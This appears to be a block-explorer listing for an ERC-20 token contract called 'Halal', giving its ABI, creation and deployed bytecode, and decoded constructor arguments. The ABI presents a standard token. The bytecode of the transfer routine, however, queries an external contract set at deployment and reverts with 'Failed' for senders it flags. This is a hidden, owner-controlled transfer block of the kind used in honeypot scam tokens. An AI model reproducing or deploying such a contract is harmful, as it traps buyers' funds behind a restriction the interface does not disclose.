,"name":"token0","type":"event"},{"anonymous":false,"inputs":[],"name":"token1","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

6080604052604051620021f2380380620021f283398181016040528101906200002991906200054c565b6200003b60006200023b60201b60201c565b83600590816200004c91906200083d565b5082600690816200005e91906200083d565b506012600760006101000a81548160ff021916908360ff16021790555081600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600760009054906101000a900460ff16600a620000da919062000ab4565b81620000e7919062000b05565b60088190555062000148600854600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546200030160201b6200070e1790919060201c565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600854604051620001ed919062000b61565b60405180910390a37f27dbfa27b71425b7a97901ec35da809e8b7db408f75332ef17af7518fe6e96eb3360016040516200022992919062000bac565b60405180910390a15050505062000c14565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000818362000311919062000bd9565b905092915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b620003828262000337565b810181811067ffffffffffffffff82111715620003a457620003a362000348565b5b80604052505050565b6000620003b962000319565b9050620003c7828262000377565b919050565b600067ffffffffffffffff821115620003ea57620003e962000348565b5b620003f58262000337565b9050602081019050919050565b60005b838110156200042257808201518184015260208101905062000405565b60008484015250505050565b6000620004456200043f84620003cc565b620003ad565b90508281526020810184848401111562000464576200046362000332565b5b6200047184828562000402565b509392505050565b600082601f8301126200049157620004906200032d565b5b8151620004a38482602086016200042e565b91505092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620004d982620004ac565b9050919050565b620004eb81620004cc565b8114620004f757600080fd5b50565b6000815190506200050b81620004e0565b92915050565b6000819050919050565b620005268162000511565b81146200053257600080fd5b50565b60008151905062000546816200051b565b92915050565b6000806000806080858703121562000569576200056862000323565b5b600085015167ffffffffffffffff8111156200058a576200058962000328565b5b620005988782880162000479565b945050602085015167ffffffffffffffff811115620005bc57620005bb62000328565b5b620005ca8782880162000479565b9350506040620005dd87828801620004fa565b9250506060620005f08782880162000535565b91505092959194509250565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200064f57607f821691505b60208210810362000665576200066462000607565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620006cf7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000690565b620006db868362000690565b95508019841693508086168417925050509392505050565b6000819050919050565b60006200071e62000718620007128462000511565b620006f3565b62000511565b9050919050565b6000819050919050565b6200073a83620006fd565b62000752620007498262000725565b8484546200069d565b825550505050565b600090565b620007696200075a565b620007768184846200072f565b505050565b5b818110156200079e57620007926000826200075f565b6001810190506200077c565b5050565b601f821115620007ed57620007b7816200066b565b620007c28462000680565b81016020851015620007d2578190505b620007ea620007e18562000680565b8301826200077b565b50505b505050565b600082821c905092915050565b60006200081260001984600802620007f2565b1980831691505092915050565b60006200082d8383620007ff565b9150826002028217905092915050565b6200084882620005fc565b67ffffffffffffffff81111562000864576200086362000348565b5b62000870825462000636565b6200087d828285620007a2565b600060209050601f831160018114620008b55760008415620008a0578287015190505b620008ac85826200081f565b8655506200091c565b601f198416620008c5866200066b565b60005b82811015620008ef57848901518255600182019150602085019450602081019050620008c8565b868310156200090f57848901516200090b601f891682620007ff565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620009b2578086048111156200098a576200098962000924565b5b60018516156200099a5780820291505b8081029050620009aa8562000953565b94506200096a565b94509492505050565b600082620009cd576001905062000aa0565b81620009dd576000905062000aa0565b8160018114620009f6576002811462000a015762000a37565b600191505062000aa0565b60ff84111562000a165762000a1562000924565b5b8360020a91508482111562000a305762000a2f62000924565b5b5062000aa0565b5060208310610133831016604e8410600b841016171562000a715782820a90508381111562000a6b5762000a6a62000924565b5b62000aa0565b62000a80848484600162000960565b9250905081840481111562000a9a5762000a9962000924565b5b81810290505b9392505050565b600060ff82169050919050565b600062000ac18262000511565b915062000ace8362000aa7565b925062000afd7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620009bb565b905092915050565b600062000b128262000511565b915062000b1f8362000511565b925082820262000b2f8162000511565b9150828204841483151762000b495762000b4862000924565b5b5092915050565b62000b5b8162000511565b82525050565b600060208201905062000b78600083018462000b50565b92915050565b62000b8981620004cc565b82525050565b60008115159050919050565b62000ba68162000b8f565b82525050565b600060408201905062000bc3600083018562000b7e565b62000bd2602083018462000b9b565b9392505050565b600062000be68262000511565b915062000bf38362000511565b925082820190508082111562000c0e5762000c0d62000924565b5b92915050565b6115ce8062000c246000396000f3fe608060405234801561001057600080fd5b50600436106100b45760003560e01c8063715018a611610071578063715018a6146101a35780638da5cb5b146101ad57806395d89b41146101cb578063a9059cbb146101e9578063dd62ed3e14610219578063f2fde38b14610249576100b4565b806306fdde03146100b9578063095ea7b3146100d757806318160ddd1461010757806323b872dd14610125578063313ce5671461015557806370a0823114610173575b600080fd5b6100c1610265565b6040516100ce9190610e00565b60405180910390f35b6100f160048036038101906100ec9190610ebb565b6102f7565b6040516100fe9190610f16565b60405180910390f35b61010f61030e565b60405161011c9190610f40565b60405180910390f35b61013f600480360381019061013a9190610f5b565b610318565b60405161014c9190610f16565b60405180910390f35b61015d6103e3565b60405161016a9190610fca565b60405180910390f35b61018d60048036038101906101889190610fe5565b6103fa565b60405161019a9190610f40565b60405180910390f35b6101ab610443565b005b6101b56104c4565b6040516101c29190611021565b60405180910390f35b6101d36104ee565b6040516101e09190610e00565b60405180910390f35b61020360048036038101906101fe9190610ebb565b610580565b6040516102109190610f16565b60405180910390f35b610233600480360381019061022e919061103c565b610597565b6040516102409190610f40565b60405180910390f35b610263600480360381019061025e9190610fe5565b61061e565b005b606060058054610274906110ab565b80601f01602080910402602001604051908101604052809291908181526020018280546102a0906110ab565b80156102ed5780601f106102c2576101008083540402835291602001916102ed565b820191906000526020600020905b8154815290600101906020018083116102d057829003601f168201915b5050505050905090565b6000610304338484610724565b6001905092915050565b6000600854905090565b60006103258484846108ed565b6103d884336103d38560405180606001604052806028815260200161157160289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c559092919063ffffffff16565b610724565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff166104626104c4565b73ffffffffffffffffffffffffffffffffffffffff16146104b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104af90611128565b60405180910390fd5b6104c26000610caa565b565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600680546104fd906110ab565b80601f0160208091040260200160405190810160405280929190818152602001828054610529906110ab565b80156105765780601f1061054b57610100808354040283529160200191610576565b820191906000526020600020905b81548152906001019060200180831161055957829003601f168201915b5050505050905090565b600061058d3384846108ed565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1661063d6104c4565b73ffffffffffffffffffffffffffffffffffffffff1614610693576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161068a90611128565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610702576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106f9906111ba565b60405180910390fd5b61070b81610caa565b50565b6000818361071c9190611209565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610793576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078a906112af565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610802576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107f990611341565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516108e09190610f40565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361095c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610953906113d3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036109cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c290611465565b60405180910390fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637de10b3c846040518263ffffffff1660e01b8152600401610a269190611021565b602060405180830381865afa158015610a43573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a6791906114b1565b15610aa7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9e9061152a565b60405180910390fd5b610b138160405180606001604052806026815260200161154b60269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c559092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ba881600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461070e90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610c489190610f40565b60405180910390a3505050565b6000838311158290610c9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c949190610e00565b60405180910390fd5b5082840390509392505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081519050919050565b600082825260208201905092915050565b60005b83811015610daa578082015181840152602081019050610d8f565b60008484015250505050565b6000601f19601f8301169050919050565b6000610dd282610d70565b610ddc8185610d7b565b9350610dec818560208601610d8c565b610df581610db6565b840191505092915050565b60006020820190508181036000830152610e1a8184610dc7565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610e5282610e27565b9050919050565b610e6281610e47565b8114610e6d57600080fd5b50565b600081359050610e7f81610e59565b92915050565b6000819050919050565b610e9881610e85565b8114610ea357600080fd5b50565b600081359050610eb581610e8f565b92915050565b60008060408385031215610ed257610ed1610e22565b5b6000610ee085828601610e70565b9250506020610ef185828601610ea6565b9150509250929050565b60008115159050919050565b610f1081610efb565b82525050565b6000602082019050610f2b6000830184610f07565b92915050565b610f3a81610e85565b82525050565b6000602082019050610f556000830184610f31565b92915050565b600080600060608486031215610f7457610f73610e22565b5b6000610f8286828701610e70565b9350506020610f9386828701610e70565b9250506040610fa486828701610ea6565b9150509250925092565b600060ff82169050919050565b610fc481610fae565b82525050565b6000602082019050610fdf6000830184610fbb565b92915050565b600060208284031215610ffb57610ffa610e22565b5b600061100984828501610e70565b91505092915050565b61101b81610e47565b82525050565b60006020820190506110366000830184611012565b92915050565b6000806040838503121561105357611052610e22565b5b600061106185828601610e70565b925050602061107285828601610e70565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806110c357607f821691505b6020821081036110d6576110d561107c565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611112602083610d7b565b915061111d826110dc565b602082019050919050565b6000602082019050818103600083015261114181611105565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006111a4602683610d7b565b91506111af82611148565b604082019050919050565b600060208201905081810360008301526111d381611197565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061121482610e85565b915061121f83610e85565b9250828201905080821115611237576112366111da565b5b92915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611299602483610d7b565b91506112a48261123d565b604082019050919050565b600060208201905081810360008301526112c88161128c565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061132b602283610d7b565b9150611336826112cf565b604082019050919050565b6000602082019050818103600083015261135a8161131e565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006113bd602583610d7b565b91506113c882611361565b604082019050919050565b600060208201905081810360008301526113ec816113b0565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061144f602383610d7b565b915061145a826113f3565b604082019050919050565b6000602082019050818103600083015261147e81611442565b9050919050565b61148e81610efb565b811461149957600080fd5b50565b6000815190506114ab81611485565b92915050565b6000602082840312156114c7576114c6610e22565b5b60006114d58482850161149c565b91505092915050565b7f4661696c65640000000000000000000000000000000000000000000000000000600082015250565b6000611514600683610d7b565b915061151f826114de565b602082019050919050565b6000602082019050818103600083015261154381611507565b905091905056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220aacf7c4a9f66a2ca82e6dc1da043532381c813ea238c50bf11415abd020c468a64736f6c63430008120033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000a99b8cd462cc22d0dbf7f433ecf52f13a5e986320000000000000000000000000000000000000000000000000000000077359400000000000000000000000000000000000000000000000000000000000000000548616c616c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000548414c414c000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100b45760003560e01c8063715018a611610071578063715018a6146101a35780638da5cb5b146101ad57806395d89b41146101cb578063a9059cbb146101e9578063dd62ed3e14610219578063f2fde38b14610249576100b4565b806306fdde03146100b9578063095ea7b3146100d757806318160ddd1461010757806323b872dd14610125578063313ce5671461015557806370a0823114610173575b600080fd5b6100c1610265565b6040516100ce9190610e00565b60405180910390f35b6100f160048036038101906100ec9190610ebb565b6102f7565b6040516100fe9190610f16565b60405180910390f35b61010f61030e565b60405161011c9190610f40565b60405180910390f35b61013f600480360381019061013a9190610f5b565b610318565b60405161014c9190610f16565b60405180910390f35b61015d6103e3565b60405161016a9190610fca565b60405180910390f35b61018d60048036038101906101889190610fe5565b6103fa565b60405161019a9190610f40565b60405180910390f35b6101ab610443565b005b6101b56104c4565b6040516101c29190611021565b60405180910390f35b6101d36104ee565b6040516101e09190610e00565b60405180910390f35b61020360048036038101906101fe9190610ebb565b610580565b6040516102109190610f16565b60405180910390f35b610233600480360381019061022e919061103c565b610597565b6040516102409190610f40565b60405180910390f35b610263600480360381019061025e9190610fe5565b61061e565b005b606060058054610274906110ab565b80601f01602080910402602001604051908101604052809291908181526020018280546102a0906110ab565b80156102ed5780601f106102c2576101008083540402835291602001916102ed565b820191906000526020600020905b8154815290600101906020018083116102d057829003601f168201915b5050505050905090565b6000610304338484610724565b6001905092915050565b6000600854905090565b60006103258484846108ed565b6103d884336103d38560405180606001604052806028815260200161157160289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c559092919063ffffffff16565b610724565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff166104626104c4565b73ffffffffffffffffffffffffffffffffffffffff16146104b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104af90611128565b60405180910390fd5b6104c26000610caa565b565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600680546104fd906110ab565b80601f0160208091040260200160405190810160405280929190818152602001828054610529906110ab565b80156105765780601f1061054b57610100808354040283529160200191610576565b820191906000526020600020905b81548152906001019060200180831161055957829003601f168201915b5050505050905090565b600061058d3384846108ed565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1661063d6104c4565b73ffffffffffffffffffffffffffffffffffffffff1614610693576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161068a90611128565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610702576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106f9906111ba565b60405180910390fd5b61070b81610caa565b50565b6000818361071c9190611209565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610793576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078a906112af565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610802576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107f990611341565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516108e09190610f40565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361095c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610953906113d3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036109cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c290611465565b60405180910390fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637de10b3c846040518263ffffffff1660e01b8152600401610a269190611021565b602060405180830381865afa158015610a43573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a6791906114b1565b15610aa7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9e9061152a565b60405180910390fd5b610b138160405180606001604052806026815260200161154b60269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c559092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ba881600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461070e90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610c489190610f40565b60405180910390a3505050565b6000838311158290610c9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c949190610e00565b60405180910390fd5b5082840390509392505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081519050919050565b600082825260208201905092915050565b60005b83811015610daa578082015181840152602081019050610d8f565b60008484015250505050565b6000601f19601f8301169050919050565b6000610dd282610d70565b610ddc8185610d7b565b9350610dec818560208601610d8c565b610df581610db6565b840191505092915050565b60006020820190508181036000830152610e1a8184610dc7565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610e5282610e27565b9050919050565b610e6281610e47565b8114610e6d57600080fd5b50565b600081359050610e7f81610e59565b92915050565b6000819050919050565b610e9881610e85565b8114610ea357600080fd5b50565b600081359050610eb581610e8f565b92915050565b60008060408385031215610ed257610ed1610e22565b5b6000610ee085828601610e70565b9250506020610ef185828601610ea6565b9150509250929050565b60008115159050919050565b610f1081610efb565b82525050565b6000602082019050610f2b6000830184610f07565b92915050565b610f3a81610e85565b82525050565b6000602082019050610f556000830184610f31565b92915050565b600080600060608486031215610f7457610f73610e22565b5b6000610f8286828701610e70565b9350506020610f9386828701610e70565b9250506040610fa486828701610ea6565b9150509250925092565b600060ff82169050919050565b610fc481610fae565b82525050565b6000602082019050610fdf6000830184610fbb565b92915050565b600060208284031215610ffb57610ffa610e22565b5b600061100984828501610e70565b91505092915050565b61101b81610e47565b82525050565b60006020820190506110366000830184611012565b92915050565b6000806040838503121561105357611052610e22565b5b600061106185828601610e70565b925050602061107285828601610e70565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806110c357607f821691505b6020821081036110d6576110d561107c565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611112602083610d7b565b915061111d826110dc565b602082019050919050565b6000602082019050818103600083015261114181611105565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006111a4602683610d7b565b91506111af82611148565b604082019050919050565b600060208201905081810360008301526111d381611197565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061121482610e85565b915061121f83610e85565b9250828201905080821115611237576112366111da565b5b92915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611299602483610d7b565b91506112a48261123d565b604082019050919050565b600060208201905081810360008301526112c88161128c565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061132b602283610d7b565b9150611336826112cf565b604082019050919050565b6000602082019050818103600083015261135a8161131e565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006113bd602583610d7b565b91506113c882611361565b604082019050919050565b600060208201905081810360008301526113ec816113b0565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061144f602383610d7b565b915061145a826113f3565b604082019050919050565b6000602082019050818103600083015261147e81611442565b9050919050565b61148e81610efb565b811461149957600080fd5b50565b6000815190506114ab81611485565b92915050565b6000602082840312156114c7576114c6610e22565b5b60006114d58482850161149c565b91505092915050565b7f4661696c65640000000000000000000000000000000000000000000000000000600082015250565b6000611514600683610d7b565b915061151f826114de565b602082019050919050565b6000602082019050818103600083015261154381611507565b905091905056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220aacf7c4a9f66a2ca82e6dc1da043532381c813ea238c50bf11415abd020c468a64736f6c63430008120033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000a99b8cd462cc22d0dbf7f433ecf52f13a5e986320000000000000000000000000000000000000000000000000000000077359400000000000000000000000000000000000000000000000000000000000000000548616c616c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000548414c414c000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): Halal
Arg [1] : symbol_ (string): HALAL
Arg [2] : min_ (address): 0xA99b8cD462CC22d0DbF7F433eCf52f13A5E98632
Arg [3] : totalSupply_ (uint256): 2000000000

-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 000000000000000000000000a99b8cd462cc22d0dbf7f433ecf52f13a5e98632
Arg [3] : 0000000000000000000000000000000000000000000000000000000077359400
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000005
Arg [5] : 48616c616c000000000000000000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000005
Arg [7] : 48414c414c000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

